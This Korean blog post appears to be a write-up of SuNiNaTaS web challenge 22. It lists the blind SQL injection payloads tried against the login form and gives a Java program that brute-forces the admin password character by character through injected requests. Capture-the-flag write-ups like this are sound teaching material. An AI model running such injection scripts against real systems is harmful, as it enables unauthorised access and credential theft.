생각보다 좀 빡셌다.
간단하게 풀 줄 자신했었는데, 생각보다 오래 걸렸다. 반성해야지.
항상, 공격하려는 환경에서 무엇이 먹히고 안먹히는지 쿼리를 통해 확실히 확인해보는게 중요하다.
알아낸 필터링 : ord, hex, ||
[ 시도 ] (윗줄이 id 아랫줄이 pw)
guest’ and 1=1--
1234
-> true
guest’ and length(‘hi’)=2—
1234
-> false. 으잉???
guest' and pw='guest'--
1234
-> true
컬럼명은 pw가 맞다. length가 안먹히는 듯 하다.
length가 필터링은 아닌데 안먹힌다.
substr나 mid도 마찬가지.
그리고 다행히도 substring이 먹힌다.!!
guest' and substring(pw,1,1)>''--
을 시도하여 문자열의 길이를 체크할 수 있다.
guest' and substring(pw,1~5,1)>''--
1234
-> true, 6일때부터 false, 왜냐면 비밀번호 길이는 5이기 때문.
이를 그대로 admin에 적용
admin' and substring(pw,x,1)>’’—
1234
x의 값을 증가하면서 false가 나올 때 까지 돌린다.
그럼 x가 10일때까지만 true인 것을 알 수 있다 = 비밀번호는 10자리.
알아낸 비밀번호 길이를 토대로 한자리 한자리 알아낸다.
admin' and substring(pw, x, 1)=y--
[JAVA]
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class break_even_point {
public static void main(String args[]) {
String d="";
for(int i = 1; i < 11 ; i++) { // id는 24자리
for(int j = 33 ; j < 127 ; j++)
{
try {
StringBuilder sb = new StringBuilder();
//여기서 띄어쓰기를 인코딩 안하고 넘겨주면 페이지를 인식하지 못하고 에러가 생기더라.
String str = "id=admin%27%20and%20substring%28pw%2C"+i+",1%29%3D%27"+String.format("%c", j)+"%27--%20&pw=1234";
URL url = new URL("http://suninatas.com/challenge/web22/web22.asp?"+str);
HttpURLConnection hc = (HttpURLConnection) url.openConnection();
hc.setRequestProperty("Cookie", "ASP.NET_SessionId=본인세션;ASPSESSIONIDSQTTABSC=본인세션");
System.out.println("i = "+i+" j = "+j);
BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
String s;
while ((s = br.readLine()) != null)
sb.append(s);
if (sb.indexOf("OK") != -1) {
d += String.format("%c", j);
System.out.println("GET :"+d);
break;
}
} catch (Exception e) {
System.out.println(e.getMessage());
return;
}
}
}
}
}
의외로 코딩하고 돌리는데에서 시간을 좀 썼다. 처음에 코드를 짜고 guest로 테스트를 하는데 정상적으로 작동하지가 않는 것이다 ㅜㅜ...
알고 보니, 내가 이전에 str 부분에 그냥 url 인코딩을 안하고 넘겨줬는데 여기서 문제가 생겼었다. 위 코드 처럼 인코딩을 해서 넘겨주면 문제없다.
물론 url encoding을 해서 넘겨주는 것이 정석이며 훨씬 명확하고 좋지만, 귀찮아서 잘 안하는데... 이 때문에 피를 보게 했다.
실험 결과 공백을 인코딩 하지 않은 채 넘겨주면 페이지 인식 에러가 생겼다.
이번 기회에, url 주소창 접속이 아닌 코딩으로 직접 접속할 때 공백을 인코딩해서 넘겨주지 않으면 에러가 생긴다는 것을 알았다. (아니면 이 서버만 그럴지도..? ㅎㅎ 어쨌든 꼼수부리지 않고 인코딩 잘 해줘야겠다 ㅜ)
편하려다가 피를 봤으므로... 이 김에 앞으로 항상 인코딩이 필요한 작업엔 명확히 인코딩을 해줘서 정석적으로 해야겠다고 다짐했다.
어쨌든!! 저 위의 소스를 돌리면, 비밀번호 10자리를 알아낼 수 있고, 그걸 Auth에 입력하면 끝.
반성의 시간을 가지자
'[웹해킹] > [SuNiNaTaS]' 카테고리의 다른 글
[SuNiNaTaS] 23번 (0) | 2020.12.08 |
---|---|
[SuNiNaTaS] 8번 (0) | 2020.12.06 |
[SuNiNaTaS] 7번 (0) | 2020.12.06 |
[SuNiNaTaS] 6번 (0) | 2020.12.05 |
[SuNiNaTaS] 5번 (0) | 2020.12.04 |